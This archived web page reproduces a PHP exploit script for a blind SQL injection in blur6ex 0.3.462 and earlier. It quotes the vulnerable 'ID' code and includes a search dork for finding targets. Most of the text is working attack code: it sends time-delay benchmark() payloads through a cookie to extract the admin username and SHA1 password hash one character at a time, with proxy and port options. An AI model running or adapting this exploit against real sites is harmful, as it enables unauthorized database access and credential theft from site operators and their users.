TUCoPS :: Web :: Apps :: b06-2980.htm

blur6ex <= 0.3.462 'ID' blind sql injection
blur6ex <= 0.3.462 'ID' blind sql injection
blur6ex <= 0.3.462 'ID' blind sql injection



#!/usr/bin/php -q -d short_open_tag=on=0D
rgod@autistici.org\r\n";=0D 
echo "site: http://retrogod.altervista.org\r\n";=0D 
echo "dork: \"powered by blur6ex\"\r\n\r\n";=0D
/*=0D
works regardless of php.ini settings=0D
*/=0D
=0D
if ($argc<3) {=0D
echo "Usage: php ".$argv[0]." host path OPTIONS\r\n";=0D
echo "host:      target server (ip/hostname)\r\n";=0D
echo "path:      path to blur6ex\r\n";=0D
echo "Options:\r\n";=0D
echo "   -T[prefix]   specify a table prefix different from default (no prefix)\r\n";=0D
echo "   -p[port]:    specify a port other than 80\r\n";=0D
echo "   -P[ip:port]: specify a proxy\r\n";=0D
echo "Example:\r\n";=0D
echo "php ".$argv[0]." localhost /blur6ex/ \r\n";=0D
echo "php ".$argv[0]." localhost /blur6ex/ -Tblur6ex_\r\n";=0D
die;=0D
}=0D
=0D
/*=0D
software site: http://www.blursoft.com/blur6ex/=0D 
=0D
vulnerable code in engine/shards/blog.php near lines 497-500:=0D
=0D
...=0D
case "proc_reply":=0D
    // In order to set the permissions of the reply it's necessary to know what the parent is=0D
    $permissionid = mysql_query("SELECT permission FROM blog WHERE ID=" . $_REQUEST['ID']);=0D
...=0D
=0D
'ID' argument in not sanitized before to be used in a sql query,=0D
injection is blind...=0D
=0D
this code shows how to use time delays through Mysql benchmark() function,=0D
u can use this technique to ask questions of the target system=0D
and retrieve data from tables=0D
=0D
									      */=0D
error_reporting(0);=0D
ini_set("max_execution_time",0);=0D
ini_set("default_socket_timeout",5);=0D
=0D
function quick_dump($string)=0D
{=0D
  $result='';$exa='';$cont=0;=0D
  for ($i=0; $i<=strlen($string)-1; $i++)=0D
  {=0D
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))=0D
   {$result.="  .";}=0D
   else=0D
   {$result.="  ".$string[$i];}=0D
   if (strlen(dechex(ord($string[$i])))==2)=0D
   {$exa.=" ".dechex(ord($string[$i]));}=0D
   else=0D
   {$exa.=" 0".dechex(ord($string[$i]));}=0D
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}=0D
  }=0D
 return $exa."\r\n".$result;=0D
}=0D
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';=0D
function sendpacketii($packet)=0D
{=0D
  global $proxy, $host, $port, $html, $proxy_regex;=0D
  if ($proxy=='') {=0D
    $ock=fsockopen(gethostbyname($host),$port);=0D
    if (!$ock) {=0D
      echo 'No response from '.$host.':'.$port; die;=0D
    }=0D
  }=0D
  else {=0D
   $c = preg_match($proxy_regex,$proxy);=0D
    if (!$c) {=0D
      echo 'Not a valid proxy...';die;=0D
    }=0D
    $parts=explode(':',$proxy);=0D
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";=0D
    $ock=fsockopen($parts[0],$parts[1]);=0D
    if (!$ock) {=0D
      echo 'No response from proxy...';die;=0D
   }=0D
  }=0D
  fputs($ock,$packet);=0D
  if ($proxy=='') {=0D
    $html='';=0D
    while (!feof($ock)) {=0D
      $html.=fgets($ock);=0D
    }=0D
  }=0D
  else {=0D
    $html='';=0D
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {=0D
      $html.=fread($ock,1);=0D
    }=0D
  }=0D
  fclose($ock);=0D
  #debug=0D
  #echo "\r\n".$html;=0D
}=0D
=0D
function my_encode($my_string)=0D
{=0D
  $encoded="CHAR(";=0D
  for ($k=0; $k<=strlen($my_string)-1; $k++)=0D
  {=0D
    $encoded.=ord($my_string[$k]);=0D
    if ($k==strlen($my_string)-1) {$encoded.=")";}=0D
    else {$encoded.=",";}=0D
  }=0D
  return $encoded;=0D
}=0D
=0D
$host=$argv[1];=0D
$path=$argv[2];=0D
$port=80;=0D
$prefix="";=0D
$proxy="";=0D
for ($i=3; $i<=$argc-1; $i++){=0D
$temp=$argv[$i][0].$argv[$i][1];=0D
if ($temp=="-p")=0D
{=0D
  $port=str_replace("-p","",$argv[$i]);=0D
}=0D
if ($temp=="-P")=0D
{=0D
  $proxy=str_replace("-P","",$argv[$i]);=0D
}=0D
if ($temp=="-T")=0D
{=0D
  $prefix=str_replace("-T","",$argv[$i]);=0D
}=0D
}=0D
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}=0D
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}=0D 
=0D
$admin="";=0D
$j=1;=0D
while (!strstr($admin,chr(0)))=0D
{=0D
for ($i=0; $i<=255; $i++)=0D
{=0D
  $starttime=time();=0D
  echo "starttime -> ".$starttime."\r\n";=0D
  $sql="99999 UNION SELECT IF((ASCII(SUBSTRING(username,".$j.",1))=".$i.") & 1, benchmark(50000000,CHAR(0)),0) FROM ".$prefix."permissiongroups WHERE PGroup=CHAR(97,100,109,105,110)";=0D
  $sql=str_replace(" ","/**/",$sql);=0D
  $sql=urlencode($sql);=0D
  $packet ="GET ".$path."index.php?shard=blog&action=proc_reply HTTP/1.0\r\n";=0D
  $packet.="Host: ".$host."\r\n";=0D
  $packet.="Cookie: ID=".$sql.";\r\n"; //through cookies, log this=0D
  $packet.="Connection: Close\r\n\r\n";=0D
  echo quick_dump($packet)."\r\n";=0D
  sendpacketii($packet);=0D
  $endtime=time();=0D
  echo "endtime -> ".$endtime."\r\n";=0D
  $difftime=$endtime - $starttime;=0D
  echo "difftime -> ".$difftime."\r\n";=0D
  if ($difftime > 5) {$admin.=chr($i);echo "admin -> ".$admin."[???]\r\n";sleep(2);break;}=0D
  if (($i==255) | (eregi("doesn't exist",$html))) {=0D
  //debug=0D
  echo $html."\r\n";=0D
  die("Exploit failed...maybe wrong table prefix");=0D
  }=0D
}=0D
$j++;=0D
}=0D
$admin=str_replace(chr(0),"",$admin);=0D
echo "admin -> ".$admin."\r\n";=0D
=0D
$password="";=0D
$j=1;=0D
while (!strstr($password,chr(0)))=0D
{=0D
for ($i=0; $i<=255; $i++)=0D
{=0D
  $starttime=time();=0D
  echo "starttime -> ".$starttime."\r\n";=0D
  $sql="99999 UNION SELECT IF((ASCII(SUBSTRING(password,".$j.",1))=".$i.") & 1, benchmark(50000000,CHAR(0)),0) FROM ".$prefix."users WHERE username=".my_encode($admin);=0D
  $sql=str_replace(" ","/**/",$sql);=0D
  $sql=urlencode($sql);=0D
  $packet ="GET ".$path."index.php?shard=blog&action=proc_reply HTTP/1.0\r\n";=0D
  $packet.="Host: ".$host."\r\n";=0D
  $packet.="Cookie: ID=".$sql.";\r\n";=0D
  $packet.="Connection: Close\r\n\r\n";=0D
  echo quick_dump($packet)."\r\n";=0D
  sendpacketii($packet);=0D
  $endtime=time();=0D
  echo "endtime -> ".$endtime."\r\n";=0D
  $difftime=$endtime - $starttime;=0D
  echo "difftime -> ".$difftime."\r\n";=0D
  if ($difftime > 5) {$password.=chr($i);echo "password -> ".$password."[???]\r\n";sleep(2);break;}=0D
  if ($i==255) {die("Exploit failed...we have an admin user in 'permissiongroups' table, but for some reason there is not a '".$admin."' user in 'users' one...");}=0D
}=0D
$j++;=0D
}=0D
//if you are here...=0D
echo "Exploit succeeded...\r\n";=0D
echo "--------------------------------------------------------------------\r\n";=0D
echo "admin          -> ".$admin."\r\n";=0D
echo "password (sha1)-> ".$password."\r\n";=0D
echo "--------------------------------------------------------------------\r\n";=0D
?>=0D
=0D
original url: http://retrogod.altervista.org/blur6ex_03462_sql.html=0D 

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH